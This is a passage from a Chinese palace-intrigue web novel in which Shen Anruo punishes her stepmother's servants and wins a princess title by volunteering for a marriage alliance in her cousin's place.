“我就说好好的一个尚书府,怎么生出来这么多刁奴来?原来是上梁不正下梁歪啊,当家主母这番做派不知规矩,下面的奴才自然也好不到哪里去,我现在真的觉得让柳姨娘你管家容易让尚书府失了体面。” “翡儿,柳姨娘身边的这个丫鬟和妈妈打三十板子,你亲自来数,少了一板子都不行。” 翡儿急忙笑着开口。 “小姐你放心吧,奴婢绝对不会少数一个板子的。” “都过来带梨花和陶妈妈下去受罚,惩罚这种事情,最不懂规矩的自然该先受罚。” 柳依依见状抬手挡住梨花和陶妈妈。 “你敢…………” “二小姐,你这两日闹出的事情够多了,你可不要把事情做绝了………” 沈安若闻言一脸笑意的看着她。 “四十板子………” 柳依依气得胸口起伏。 “二小姐………” 沈安若看着她的眼睛朱唇轻启。 “五十………” “要不行直接杖毙…………” 柳依依只感觉自己的后槽牙都要咬碎了,最终只能侧身让开。 五十板子,这绝对要人半条命的,梨花和陶妈妈急忙跪在柳依依的脚边,伸手拉着她的裙摆。 “夫人,你救救奴婢!” “救救奴婢啊………” “奴婢年龄大了,五十板子实在受不住。” 可是很快她们就被墨香居的婆子拉走押在了长凳上,板子也很快落下来,墨香居响起一声又一声的惨叫。 “啊………” “救命啊,夫人………” “救救我…………” 沈安若往椅子上一坐,伸手接过翡儿递过来的茶,慢悠悠的喝着。 柳依依看着挨打的梨花和陶妈妈,再看看喝茶的沈安若,满眼的恨意,沈安若留不得了。 转身准备朝外走去。 沈安若冰冷的声音响起。 “柳姨娘,你身为沈家的管家之人,对下人管教不力这才导致他们惊扰了我长姐休息,现在他们受罚,你还是好生的看着,就当是学一学如何管家了。” 柳依依气的想吐血,依旧抬脚往外走去。 沈安若的声音再次响起。 “今夜处罚没有结束之前,你要是走出这道门,你身边的这两个狗奴才明日就会出现在乱葬岗。” 第十二章 赏罚分明 柳依依脚步一顿,脸色铁青地转过身来,目光如刀般刺向沈安若 对视上沈安若不怒自威的神情却只能强压下心头的怒火与恐惧。 眼睁睁地看着梨花和陶妈妈受罚。 板子声、哀嚎声交织在一起,在这宁静的夜晚显得格外刺耳。 沈安若的镇定自若与柳依依的愤怒无奈形成了鲜明对比,也预示着沈府内部的权力格局正悄然发生着变化。 终于,板子声停歇,梨花和陶妈妈已是奄奄一息,柳依依更是险些站不稳。 其余的小厮也都受罚完毕,沈安若端着茶杯,目光犀利的看着众人。 “都说吃一堑长一智,我希望你们都能够好好的记住沈家的规矩,更要明白什么是尊卑,往后要是再有哪个不长眼的站到大小姐的面前放肆,我不介意直接拖下去杖毙。” 随即将手中的茶杯放下,缓缓站起身来。 “今日墨香居的人当差有功,一人赏赐十两银子。” “我沈安若有过便罚,有功便赏,只要都给我忠心耿耿的当差,我绝不会亏待任何一个人。” 众人闻言,皆是心中一凛,同时又生出几分敬意。 他们没想到,往日温婉的二小姐,竟有如此雷厉风行、赏罚分明的一面。 沈安若说完就转身朝内室走去。 今日这一战,自己已经成功立下了威信,但这也只是开始,沈一山今日被气的不轻,只怕是恨不得将自己和长姐除之而后快。 柳依依看着昏死过去的梨花和陶妈妈,看着墨香居的下人开口。 “还不给本夫人把人送回柳院。” 墨香居的下人看了一眼柳依依,这夫人今日怕不是气糊涂了,就二小姐今日的态度,墨香居的人哪里敢听别人的。 一个个都假装听不见,看不见。 翡儿拿出银子赏赐给墨香居的下人。 “这是二小姐赏赐的,往后都好好的当差,认清楚在沈家谁才是正儿八经的主子,少不了你们的赏赐。” 墨香居的下人都连忙一脸笑意的感谢。 “多谢翡儿姑娘,还请翡儿姑娘替我们多谢二小姐,转告一声,往后我们以大小姐二小姐唯命是从,一定好好的当差。” 柳依依见状,只好气愤的看了看翡儿,然后转身回自己的院子喊人。 那些挨罚的小厮只能一瘸一拐的忍着疼痛回自己的房间。 翡儿看了一眼昏死过去的梨花和陶妈妈。 “将梨花和陶妈妈扔出去,二小姐要休息了,关门莫要打扰。” 随即朝屋里走去。 沈安若此时已经换上舒适的睡衣,正在洗漱。 翡儿恭敬的上前。 “小姐,都赏赐下去了,墨香居的下人们都感激不已。” “今日小姐你也算是立威了,往后府中的奴才再也不敢小看你和大小姐。” 沈安若闻言缓缓开口。 “拿一些金疮药给长姐身边的珍儿,让她一早送去给那些受伤的小厮,就说大小姐赏的。” 柳院。 梨花和陶妈妈被抬回去了依旧昏迷不醒,柳依依请来了府医。 “府医,怎么样?” 府医轻轻放下手中的药箱,神色凝重地摇了摇头。 “夫人,梨花和陶妈妈伤势颇重,虽暂无生命危险,但需静养许久,且日后恐会留下伤残之症。” 柳依依闻言,脸色更加苍白,双手紧握成拳,指甲几乎嵌入掌心而不自知。 “沈安若,你竟如此狠毒!” 梨花和陶妈妈都是自己培养多年的得力助手,没想到就这么毁在了沈安若手里。 柳依依怒火中烧,满眼怒意。 一早。 沈安若就来陪着沈安昕用早膳。 “姐姐,昨晚休息的可好?” “这雅韵居可有不适应的地方?” 沈安若最晚处罚了那么多人的事情自己一早就听珍儿说了,若儿现在当真是雷厉风行。 “休息的挺好的,只是这雅韵居再好,到底不是咱们的院子,今天我还是回墨香居吧。” 沈安若闻言确开口道。 “长姐,这雅韵居是除了主院最好的院子了,早上朝阳,你看这太阳出来刚刚好,我觉得最适合长姐你在这里休养身体。” 沈安昕闻言却开口道。 “不过就是一个住的地方罢了,住哪里都是住,这个院子到底让安锦住了多年,她明日回门只怕是要闹的,这些年看着乖巧,实际上只怕是满心算计,不然也不会爬了…………” 见沈安若神色并无半点波动,沈安昕才继续开口。 “不然也不会不知廉耻的去爬世子的床。” 沈安若闻言拉着沈安昕开口。 “姐姐怕什么,你是沈家的嫡长女,这府中最好的院子就应该你住,她回来如是敢闹的话,我刚好客气了。” “我一早已经让翡儿出去采办了,这府中一切用具都按照你的喜好来,另外会安排人牙子带人来,我用完早膳得出门一趟,姐姐你给我们姐妹二人好好的选一些丫鬟小厮。” 沈安昕听了看着沈安若诧异的开口。 “我们身边都各自有两个贴身丫鬟的,墨香居还有打杂的丫鬟和婆子,你这是………” 沈安若笑了笑开口。 “这府中被柳姨娘管制多年,丫鬟小厮是什么底细我们并不清楚,索性趁府中受伤的人多,我们换上一批人,长姐多挑上一些,我要这雅韵居以后无人敢闯。” 沈安昕听着却担忧的开口。 “若儿,姐姐知道你是想多有一些人照顾我,可是这多一些人就要多花一份银子,姐姐的身子是柔弱一些,身边有珍儿和珠儿就够了。” 沈安若一边给她夹菜一边开口。 “银子的事情长姐不必担忧,若是有很多银子。” “快吃菜吧,不然等一下凉了。” 陪着沈安昕用了早膳,沈安若又陪着她在雅韵居散步,不得不说这沈安锦倒是很会享受,一个养女的院子布置的比谁的都雅致。 “长姐,我就说这院子适合长姐修养。” 微风吹来,院子里的桂花更是芬香扑鼻,沈安昕的脸上也有了笑意。 “这桂花味道的确不错。” 沈安若也点头赞同。 “的确很好闻,姐姐,你要是喜欢这桂花,就让丫鬟采摘一些,我找一个时间,给你做桂花糕,酿桂花果酒。” 姐妹二人正在悠闲的走在桂花树下,玉儿疾步而来。 “小姐,打听到了,孟小姐今日正在如意楼吃饭。” 沈安昕好奇的开口。 “若儿,你要见孟小姐做什么?” 沈安若闻言笑着开口。 “她可是我要见贵人的引路人。” 第十三章 我可以解决你的忧心 随即叮嘱道。 “珍儿,珠儿照顾好长姐,另外让墨香的婆子全部来雅韵居守着。” 随即看向沈安昕。 “长姐,我要是没有来及回来,你记得要先吃晚饭啊,不要一直等我。” 如意楼。 孟家大小姐孟穗禾此时看着桌子丰盛的饭菜只感觉索然无味。 陪她出来吃饭的周织梦开口道。 “穗禾,你先吃一些东西,你这样着急也没有用啊。” 孟穗禾一脸担忧的开口。 “我哪有胃口啊,现在百灵公主连出宫都不能了,每日郁郁寡欢,姑母看在眼里又急在心里,我实在是不知如何给姑母分忧。” 周织梦听了开口道。 “和亲这件事吧,还得公主自己想明白,主要是现在南诏适龄的公主只有百灵公主,不论贵妃娘娘和你有多舍不得,此事都…………” 孟穗禾何尝不明白这其中的道理,固然皇上宠爱姑母不舍,可是和亲乃是大事,南诏本就是小国,与天元王朝和亲,也能寻求到天元的庇护,涉及到了国家大事,儿女私情都是微不足道的。 “天元那么远,百灵公主年龄还小,去到了异国他乡以后,可怎么生活?” “这多少年以来,和亲的公主有几个过的好的?” 周织梦听着只能安慰到。 “咱也不要什么都往坏处想,咱们公主倾国倾城又活泼可爱,肯定会受到天元太子的喜欢,只要有了天元太子的庇护,咱们公主日子肯定会好的。” 孟穗禾听了依旧一脸的担忧。 “唉………” “皇室怎么就没有多有两个公主呢。” 忽然一道声音响起。 “或许我可以替孟小姐解了这个忧愁。” 只见包厢的门被推开。 沈安若带着玉儿走进来。 孟穗禾与周织梦的丫鬟急忙上前,不敢让别人冲撞了自家的小姐。 大家都生活在南都,二人自然是认识沈安若的。 孟穗禾示意丫鬟退下。 “沈安若!” “你不是前两日才成亲?” “这忠勇侯府的世子居然让你出门?” 沈安若微微一笑。 “孟小姐记错了,前两日沈家出嫁的是沈家的养女沈安锦,我长姐的身子一直不太好你们也是知道的,我哪里舍得放着我的长姐独自留在沈家?” 孟穗禾与周织梦相视一眼,彼此的眼里都看到了迷惑! 记错了吗? 不对啊,整个南都都知道的啊,忠勇候府迎娶沈家嫡出二小姐! 沈安若不理会二人眼里的疑惑,笑着开口。 “二位可否方便加一副碗筷。” 说着已经在一旁的椅子上坐下。 孟穗禾见状看着沈安若询问。 “成亲的当真不是你?” “你可是跟忠勇侯府定亲多年的,而且整个南都都知道你喜欢傅承越,怎么会临时新娘子换人了?而且别人都不知道!” 沈安若脸上露出一抹苦笑。 “没办法,谁让我喜欢的沈家养女都喜欢呢?” “我的父亲向来都对那个养女疼爱至极,给我的感觉更像是那个养女才是她的亲生女儿,我和长姐都像是捡来的,我们的母亲又去世多年,沈安锦喜欢我就得让出去,这么多年我也习惯了。” 孟穗禾与周织梦一听,满脸的震惊。 “这天下哪有这样的父亲?” “怎么能够毁了女儿的婚事?” “夫君也是能让的吗?” 沈安若瞬间一下子就红了眼眶。 “唉,你们二位不知道,都说有了后娘就有后爹,这些年以来姐姐身子孱弱,我又年龄小不懂后宅复杂,还不是家里说什么就是什么。” 孟穗禾和周织梦看着沈安若泪眼婆娑的样子,心中不禁生出一丝同情。 周织梦更是开口说道。 “沈小姐,真是太委屈你了。” “你这种委屈我也能够理解,我父亲很多时候还不是偏袒家中庶妹。” 孟穗禾则开口道。 “能够在大婚当前跟你沈安锦搞在一起,这傅承越也不是什么好东西,你没有跟他成亲或许不是一件坏事。” 沈安若听了一脸感动的拉着孟穗禾。 “还是孟小姐你说的对,傅承越早就喜欢沈安锦了,我就算真的能够嫁过去,只怕是一样守活寡的,这如今没有嫁成,倒是让我可以为百灵公主分担一份忧愁了。” 自己虽然与沈安若认识,可是也没有熟悉到这拉手的程度,看着沈安若拉着自己的手,孟穗禾又不好意思直接抽回来。 “你这话是什么意思?” 沈安若继续拉着她的手。 “穗禾,说起来我们也算得上是亲戚,你是百灵公主的表姐,可我也是百灵公主的表姐啊,你忘记了,我的母亲可是百灵公主的姑母啊。” 是倒是这么一回事,可是公主已经故去多年,南都很多人都忘记了沈安若的身份了。 “这么一说来的确是的,你若是不嫌弃,我想我应该称呼你一声沈姐姐。” 沈安若听得满眼的笑意。 “那可不。” 随即又开口。 “我平日里只顾照顾长姐了,昨日才听长姐提起和亲的事情,也是心里着急万分,百灵公主性子纯真,自小又是被皇帝舅舅和贵妃娘娘宠爱着长大的,这异国他乡的她怎么吃得了那样的苦?” 看着沈安若眼里的心疼不似作家,孟穗禾心里一动。 “那你可有什么法子?” “不瞒你说,这些日子也快要愁死了。” 沈安若闻言开口。 “我刚刚在门外的时候不就说了吗?或许我可以解了你的难题。” “如今我被退了亲事,名声也………” “不如我替百灵公主娶和亲。” 孟穗禾和周织梦一下子都惊讶了。 “你替百灵公主去和亲?” 沈安若点了点头。 “我昨夜想了一想,这是一个两全的法子,傅家临时悔婚娶了沈安锦,我在南都名声尽毁,以后怕是也无人敢上门提亲,百灵公主也是我的妹妹,若是我这个当表姐的能够替她和亲,她也能继续留在父母身边。” 这一次轮到孟穗禾紧紧拉住沈安若的手了。 “此话可当真?你当真愿意替百灵和亲?和亲可是要离开南都的,恐怕一辈子都没办法回家了。” 沈安若闻言一脸无奈的开口。 “家?我都没有母亲,又哪里有家?” “只是我都多年未与皇帝舅舅相见了,就算有心替百灵公主和亲,只怕是没机会进宫啊。” 孟穗禾闻言心里一喜。 “这个简单,我这就带你进宫见姑母。” 沈安若闻言眼里闪过一抹得逞,成了。 第十四章 借力打力 皇宫里。 百灵公主看着花园里飞来飞去的蝴蝶。 整个人身上没有一点活力。 孟贵妃看着一脸的心疼。 “百灵,你别这样,母妃看着心疼啊。” 百灵扑进孟贵妃的怀里。 “母妃,女儿只是舍不得你。” “南都去天元,山高路远,女儿这一去,怕是再也见不到母妃了。” 孟贵妃伸手拍着她的背。 母妃和你父皇也舍不得你,可是大局所迫,天元太子已经启程来南诏了…………” 说着孟贵妃也红了眼眶。 一个宫女走过来。 “娘娘,孟小姐进宫了,现在在月华宫恭候娘娘。” 孟贵妃闻言拉着百灵公主起身。 “走吧,你表姐来了,说不一定给你带了好玩的。” 月华宫孟穗禾与沈安若见孟贵妃带着百灵公主进来,二人都急忙起身行礼。 “见过贵妃娘娘,见过百灵公主。” 贵妃看着二人开口。 “免礼。” 随即目光落在了沈安若身上。 “穗禾,这位是?” 沈安若再次福身。 “臣女沈安若见过贵妃娘娘。” 孟穗禾也开口道。 “姑母,这是沈姐姐,也是惠安公主与沈尚书的嫡次女。” 沈安若自己不知道,但是这沈尚书和惠安公主自己还是知道的。 “原来是惠安公主的女儿。” “快免礼吧。” “来人,赐座 ,上茶。” 随即目光看向孟穗禾。 “穗禾,你今日进宫是…………” 孟穗禾看了一眼沈安若。 “姑母,我今日进宫是带………” 沈安若起身福身行礼。 “贵妃娘娘,是我请求孟小姐带我进宫见贵妃娘娘的,听说贵妃娘娘近日以来为公主的婚事忧心不已,所以臣女想跟贵妃娘娘做一笔交易。” 居然有人敢跟自己做交易,贵妃饶有兴趣的看着沈安若。 “哦?沈小姐要跟本宫做什么生意?” 孟穗禾一脸震惊的看着沈安若,这来的路上不是这么说的啊? 沈安若抬头看着孟贵妃,眼里都是不卑不亢。 “娘娘进宫多年,膝下只有百年公主这么一个女儿。” 随即目光落到百灵公主的脸色。 “百灵公主容貌绝色又活泼可爱,娘娘肯定是舍不得公主。” “臣女可以替公主和亲。” 这天下就没有掉馅饼的好事,而且这沈小姐一开始就说了,是与自己做一桩生意,孟贵妃端着茶杯打量着沈安若。 “沈小姐的条件是什么?” 沈安若缓缓开口道。 “既然我是替公主和亲,还请娘娘替我准备一份丰厚体面的嫁妆,另外此去天元路途遥远,我需要几个武功高强的人保护我的安全,孟家多年底蕴,我相信手里绝不缺高手,我要贵妃娘娘拿百年公主的一辈子起誓,孟家给我的人只能是我的人。” 倒不是什么过分的条件,孟贵妃缓缓开口。 “可你不是公主,皇上不一定会同意。” 沈安若闻言淡定的开口。 “只要贵妃娘娘带我去见了皇帝舅舅,皇帝舅舅自然会同意的,不过就是一个公主封号,我都去和亲了,舅舅总不至于舍不得封我为公主,就是不知道娘娘是否舍得银子和孟家精心培养的人。” 孟贵妃闻言开口道。 “你若是真的替百灵和亲,本宫给百灵准备的嫁妆直接给你。” 原来是想要嫁妆啊,也是 ,就他那个爹对他的态度,也不可能给她准备嫁妆,孟穗禾开口道。 “沈姐姐,嫁妆的事情你就放心吧,我回去就跟我娘说,把我的嫁妆分一些给你。” 这都是银子啊,沈安若自己不客气的开口。 “那就多谢孟妹妹了。” 孟贵妃看的嘴角一抽,这沈家是苛待惠安公主的女儿了吗?怎么如此爱财? 一下子接触到贵妃的目光,遭了,接东西太快了,有点尴尬了,沈安若急忙朝贵妃开口。 “唉,让贵妃娘娘见笑了,实在是………” “安若也是没办法,家中前两日沈家养女出嫁,我母亲留给我和长姐的嫁妆,不知道为什么也不见了,我这若是去和亲没有一份嫁妆,往后在天元日子不好过啊…………” 说着眼眶更是红了起来。 百灵公主见状开口道。 “姑母给你们的嫁妆怎么会不见呢?” 沈安若闻言眼里包含着眼泪,摇了摇头。 “我不知道啊,长姐本就身子弱,没有了母亲的嫁妆,我们以后的日子也不知道怎么过,所以才会开口跟贵妃娘娘讨要嫁妆。” 惠安公主这两个女儿是被苛待了啊,孟贵妃开口道。 “本宫记得外面传言,沈尚书对惠安公主用情至深,对你姐妹二人疼爱至极,是出了名的慈父。” 沈安若闻言低头掉下来了眼泪,沉默不说话。 孟穗禾见状急忙开口。 “姑母,可不要再听外面的那些传言了,那些传言只怕都是沈尚书为了自己的名声,故意放出来的,你看看安若,都瘦成什么样子了,她身上的这身衣服也是半旧的。” “而且,原本与忠勇侯府定亲的人是安若,可是成亲之日却变成了沈家养女沈安锦,这其中要说没有古怪谁信?” 真的是好嘴替啊,沈安若拿着手帕擦拭着眼泪。 “孟妹妹别说了,不要让这些事情污了贵妃娘娘的耳朵,父亲与沈夫人恩爱有家,父亲早已经忘了我的母亲,他宠爱养女也是应该的,怪我不如养姐讨人关心,还要引得我身子孱弱的姐姐一直为我操心。” 玉儿站在沈安若的身后,看的一惊一惊的,现在的小姐不只是能拿刀威胁人,还能对不守规矩的奴才说罚就罚,现在更是能够拿着手帕哭惨。 孟穗禾还记着沈安若替百灵公主和亲的好呢,此时急忙安抚她。 “你别难过了,沈尚书放着自己的亲生女儿不疼爱,反而去偏疼一个养女,这简直就是没天理了,我回去就给我父亲告状,让我父亲参他一本…………” 这已经涉及朝堂之上,孟贵妃急忙开口。 “穗禾,慎言。” 穗禾急忙噤声,看了看孟贵妃。 “姑母,沈家真的是太过分,你是不知道,整个南都都知道沈姐姐与傅承越定亲了的,这到了婚宴才将新娘子换了,要不是沈姐姐坚强,怕是要被逼死了。” 孟贵妃看着低头擦拭眼泪的沈安若,朝她招了招手。 “来,孩子到本宫的身边来。” 沈安若上前,将自己的手放在了孟贵妃的手里,孟贵妃拉着她的手拿起手帕擦拭了她眼角的眼泪。 “孩子,你是惠安公主的女儿,任何人都不该欺负你。” “既然你是要替本宫的女儿和亲,往后本宫自然会护着你。” 果然眼泪就是很好的武器啊,沈安若一脸感激的开口。 “多谢贵妃娘娘,有了娘娘的庇护,往后安若也能安心一些了。” 孟贵妃看向孟穗禾。 “顶了安若婚事那个人叫什么?” 孟穗禾开口回应道。 “叫沈安锦。” “也不知道沈尚书是怎么想的,说什么都是姓沈,也是与沈家有缘分,这收养以后就百宠千娇的,沈夫人也是对这个沈安锦十分疼爱。” 居然疼爱养女超过了疼爱自己的亲生女儿,这是何道理?孟贵妃皱眉开口道。 “回去给家里带个话,这沈安锦品行不端,往后孟家的所有宴席都不用请沈安锦了。” “这都是秋日了,让你母亲找个时间办一场秋日宴。” 这贵妃娘娘好上道啊,等一下见了皇上,还可以再要一些好处,有些迫不及待期待沈安锦以后的生活了,孟家可是南都的贵族,她还被贵妃娘娘亲口说品行不端,她以后混权贵圈的梦怕是要碎了。 “贵妃娘娘,天色不早了,要不您现在带我去给皇帝舅舅请安吧!” 第十五章 凰仪公主 御书房内,皇帝正埋首于堆积如山的奏章中。 小太监进来恭敬的行礼。 “皇上,贵妃娘娘求见。” 南诏皇闻言忍不住眉头一皱 ,估计又是来求自己不让百灵去和亲的,可是现在南诏只有百灵这一个适婚的公主,国事当前,哪里能够儿女情长? “让贵妃回去吧,等朕忙完了会去看她的。” 小太监继续恭敬的开口。 “皇上,贵妃娘娘说是有一位很重要的故人要见皇上。” 故人?南诏皇闻言疑惑了一下。 “罢了,请贵妃进来吧。” 很快就见见孟贵妃与一名陌生女子进来。 “参见皇上。” 南诏皇不由抬头。 “起来吧。” “贵妃,这位是?” 孟贵妃恭敬地回答道。 “陛下,这位是惠安公主之女沈安若,今日找到了臣妾,求臣妾带她来给皇上请安。” 惠安公主,那个已故多年的皇姐的孩子? 南诏皇目光威严的打量着沈安若,沈安若不卑不亢的上前,恭敬的跪下行礼。 “沈安若见过舅舅。” “这么多年一直未来给舅舅请安,是安若不孝,请舅舅责罚。” 孟贵妃见状看了一眼沈安若,这么多年皇上对他们姐妹二人并未照佛过,可是这孩子一见面就说自己这么多年没有来请安是她的的不孝,倒是一个机灵会说话的。 “皇上,这孩子今年刚及笄呢,以往年龄小,家里又没有人提点,现在长大了就立即来给皇上请安了,皇上你就不要跟孩子计较了。” 南诏皇看着沈安若开口。 “起来吧。” “这些年你们姐妹二人过得如何?” 沈安若闻言低头道。 “姐姐虽然身子孱弱,但是一直都把我照顾的很好,只是偶尔夜深人静的时候,我们姐妹二人避免不了想起母亲,若是母亲还在,肯定早就带着我们姐妹二人来给舅舅请安了。” 想到了惠安公主,虽然年少时与惠安公主不算亲近,可到底是血脉相连的姐弟,南诏皇缓缓开口。 “你的母亲是一位端庄贤惠的女子,今日见你,你倒是颇有几分你母亲的风度,既然你有心认证这个舅舅,往后你们姐妹二人若是有时间可以经常进宫。” 沈安若闻言急忙行礼。 “安若多谢舅舅。” 然后抬头看着南诏皇。 眼角挂着泪痕。 南诏皇见状急忙开口。 “怎么还哭上了?难不成你在人家受委屈了?” 沈安若急忙摇头,擦拭着眼角的眼泪。 “就是见到了舅舅,开心的。” 南诏皇闻言笑了笑。 “你这孩子。” “来人,给………安若上茶,再给她拿一些糕点来。” 随即朝孟贵妃开口。 “贵妃你先回去吧,朕留这个孩子说一会话。” 孟贵妃闻言与安若相视一眼。 然后开口道。 “皇上,沈小姐是与穗禾那丫头一起进宫的,臣妾在外面留人给她引路。” “臣妾告退。” 随着孟贵妃出去,皇上也没有再管奏折,接过太监递过来的茶慢慢喝着。 “你跟孟家交好?” 沈安若闻言摇了摇头。 “平日里沈夫人都是带着沈家养女出门的,我并没有什么机会接触孟小姐,偶然见过一两次,今日是我特意求了她带我进宫的,孟小姐人挺好的。” 南诏皇听得皱眉。 “你及笄了,那你长姐比你还大一些,沈夫人没有带你们走动走动?” 沈安若闻言低头搅动着手里的手帕。 “长姐身子不好,总生病,我总担心自己有一天就一个人了,以前的时候总害怕,性子懦弱,可能沈夫人觉得我带不出门,所以都是带着沈家养女去的。” 南诏皇闻言眉头又皱了皱。 “当初你父亲上奏续玄不是为了有人照顾你们姐妹二人吗?这沈夫人是怎么照顾的?” 沈安若闻言低着头。 “舅舅,你国事繁忙,就不要让这些小事费了您的时间了,我这次进宫,是想给舅舅分忧。” 南诏皇疑惑的开口。 “给朕分忧?” 沈安若闻言点了点头。 “长姐说,母亲在时就说过她没几个兄弟姐妹了,希望舅舅能够平安顺遂,一生无忧,安若听说南诏需要送公主和亲,百灵公主是舅舅最疼爱的女儿,舅舅肯定是舍不得。” “安若斗胆猜测,舅舅怕是为了和亲的事情忧心忡忡,安若虽不才,但愿意为舅舅分担一二。” 南诏皇闻言,眼神中闪过一丝意外,没想到这个看似柔弱的侄女竟会有此等心思。 “哦?那你说说,你打算如何为朕分忧?” 沈安若抬头,目光坚定。 “舅舅,安若自知人微言轻,无法直接影响国事,但安若愿意成为那个和亲的人选,这样舅舅的女儿就不用和亲了。” 此言一出,御书房内顿时一片寂静。 南诏皇放下手中的茶杯,目光复杂地看着沈安若。 “和亲之事非同小可,你可知这意味着什么?” 沈安若微微点头,眼中闪过一丝决绝。 “安若自然明白,这意味着我将远离故土,嫁往异国他乡。但安若更明白,南诏的安宁是最重要的,而且安若是长姐多年未对舅舅敬孝,心中愧疚不已,若是能够给舅舅分忧,我们姐妹二人心里能好受一些。” 南诏皇听后,心中涌起一股复杂的情感。 惠安公主的这个女儿竟有如此深的家国情怀。 对自己这个没有见过面的舅舅更是一片孝心。 “安若啊,这些年是舅舅忽略你们姐妹二人了。” 沈安若急忙开口。 “因为有舅舅你辛苦治理南诏,我们才有一个安稳的生活,所以舅舅没有忽略我们。” 这孩子怎么能如此懂事呢?南诏看着她开口。 “你若是去和亲,可有想要的什么赏赐。” 沈安若闻言直接起身跪下。 “舅舅,安若也的确有所求,长姐小时候生过好几次病,所以这些年以来身子一直很柔弱,稍微也吹吹风都容易风寒,安若想求舅舅让太医给长姐调理身体。” “另外,年幼的时候,一直都是长姐殚心竭虑的照顾安若,安若出嫁想带着长姐,求舅舅成全。” 南诏皇看着她片刻开口。 “你就不为自己求一点什么吗?” 沈安若闻言抬头看着南诏皇,满眼都是信任。 “能够为舅舅分忧安若已经很开心了,安若不要赏赐。” 这么懂事的孩子送去和亲真的是有些可惜了,南诏皇沉声开口。 “沈安若,朕再给你一次机会,你真的愿意去和亲?” 沈安若肯定的开口。 “安若只想替舅舅分忧。” 南诏皇深深地叹了口气,眼中闪过一抹复杂的情绪。 他站起身,缓缓走到沈安若面前,亲手将她扶起。 “来,好孩子,快起来。” 随即开口下令。 “来人,拟旨,惠安公主之女沈安若封为凰仪公主。” 第十六章 大丰收 月华宫。 百灵公主一脸担忧的开口。 “母妃,父皇会同意沈安若替我和亲吗?” 孟贵妃拉着百灵公主的手开口道。 “你以后应该喊她一声表姐。” “若是她真的说服了你父皇,往后你就要把她当亲姐姐对待。” 百灵公主闻言点了点头。 “我知道了母妃,我看着表姐的衣服都旧了,刚好秋季母妃你让人给我做的衣服刚送来,我等一下就拿给表姐。” 孟贵妃闻言点了点头,想到沈安若头上简单的簪子,又开口道。 “芳嬷嬷,你去本宫的库房里挑上一些适合安若的首饰,不管她能不能说服皇上,就她这份心意,本宫也要赏她一些东西。” “月没有母亲护着的孩子,总是容易受委屈。” 御书房里。 南诏皇看着沈安若拿着圣旨离开的背影,小小的身子有些柔弱。 “陈平,让人查一查沈安若姐妹这些年的生活。” “不论如何,她们也是惠安公主的血脉,沈尚书要是养不好,干脆不要养了。” 皇上这些日子为了百灵公主的事情一直烦恼着,没想到这个沈小姐一出现就给解决了,只要能为皇上分忧,这沈小姐就是好的,更何况这还是皇室血脉。 “皇上,老奴看着凰仪公主身上的衣服都旧了,而且头上的头饰也很简单,素净的很,她说是求了孟小姐带她进宫的,她可是沈尚书的嫡女,若是真的思念皇上,沈尚书可以带着她进宫了给皇上请安的。” “可是这么多年,公主和沈大小姐一次都没有进宫过,也没有怎么参加南都的宴会,会不会公主根本就不能自己做主进宫 。” 南诏皇听得脸色一沉。 “好一个沈一山。” 月华宫。 当沈安若拿着圣旨出现,孟贵妃眼里闪过一抹喜意。 “安若,怎么样?” “皇上他可同意了?” 沈安若笑着行礼。 “多谢贵妃娘娘带我见了舅舅,舅舅已经下旨封我为凰仪公主,和亲天元。” 孟贵妃闻言心里那一块石头终于落下了。 “太好了。” 随即上前拉过沈安若的手。 “好孩子,本宫真的是不知道该怎么谢你了。” 沈安若乖巧的开口。 “贵妃娘娘言重了,能为舅舅分忧,为南诏尽一份力,是安若的荣幸。” 随即看着百灵公主。 “而且百灵公主这么可爱,我这个当表姐的,哪里舍得她和亲。” 百灵公主见状看着沈安若一脸的感激。 “表姐,谢谢你。” 然后看了看孟贵妃,见自己的母妃对自己点了点头,百灵这才开口。 “我给表姐准备了一些礼物,希望表姐你会喜欢。” 随即丫鬟端着托盘上来。 “我不知道该送表姐一些什么东西好,这是我母妃让人给我做的衣服,我与表姐身形差不多,这新衣服我送给表姐。” “还有这些首饰,有的是母妃让人给我打造的,还有的是父皇赏给我的,表姐你放心,我都没有戴过的,我就是想送给表姐。” 看着百灵公主单纯的眼神,沈安若忍不住在心里吐槽了两句,还好不是这孩子去和亲,不然这性子能在天元生存下来吗? “放心吧,就算是你带过的表姐也喜欢我们是姐妹呀。” 孟贵妃见状满脸的笑意。 “本宫也让人给你挑了一些首饰。” 芳嬷嬷很快端着一个首饰匣子上前。 “公主,这都是娘娘让老奴根据公主的年龄挑选的,希望公主会喜欢。” 一眼看去,只见匣子里什么金簪玉簪,金手镯玉手镯都有,这贵妃娘娘出事真阔气,沈安若眼睛亮了亮,这些可都是好多好多的银子。 “多谢贵妃娘娘。” 随即看着里面的东西开口。 “贵妃娘娘,这些东西既然都给我了,那我能不能分一半给我长姐啊!” 孟贵妃闻言笑着开口。 “东西既然给你了,自然是随你处置的。” “你就这么惦记你长姐?” 沈安若笑着开口。 “这是自然,姐妹之间就应该有福同享有难同当才是。” 还是一个重情义的,爱财却又不贪财,这个孩子是值得深交的,孟贵妃拉过百灵和沈安若的手放到了一起。 “百灵,你可听见了?” “你的表姐说了,姐妹之间应该有福同享有难同当,你以后有什么好东西记得给你两个表姐留上一份。” 百灵听了乖巧的开口。 “我知道了,母妃。” 沈安若在宫里大丰收。 此时的沈府就不太好了。 梨花和陶妈妈总算是醒过来了。 得知往后基本上就是废人,有可能要一辈子瘫痪在床上,二人祈求痛哭。 “夫人,你要给奴婢做主啊,夫人………” “二小姐她这是在打夫人的脸啊。” “老奴这一辈子都在伺候夫人,二小姐就是想让夫人你的身边没人效力啊。” 自己又何尝没有看出,沈安若就是故意折损自己的左膀右臂。 “沈安若以往的时候都是温顺的,随便说两句好听的就哄住,最近看样子,完全就是变了一个人。” 陶妈妈赞同的开口。 “夫人,以往的时候二小姐可是喊夫人母亲的,如今居然算计到了夫人的头上,要不就是她以往的乖巧全是装的,要不就是这二小姐不是二小姐。” 柳依依听了开口道。 “她的那张脸我仔细看过,的确是沈安若。” 陶妈妈闻言沉思着开口。 “这前后的变化实在太大了,有没有一个可能这二小姐被什么脏东西沾染上了?” 柳依依听了赞同的开口。 “我也是往这方面想过的,可是搜院子的时候也让小厮搜了她房间里的东西,的确没有收到什么奇怪的物品。” 陶妈妈闻言看着柳依依开口。 “夫人,若是真的中了什么邪术,说不一定请一个高僧来就能看出来了。” 柳依依闻言站了起来,眼里闪过一抹算计。 “你们二人好生休息,我去书房见一见老爷。” 十七章 空的? 沈家书房。 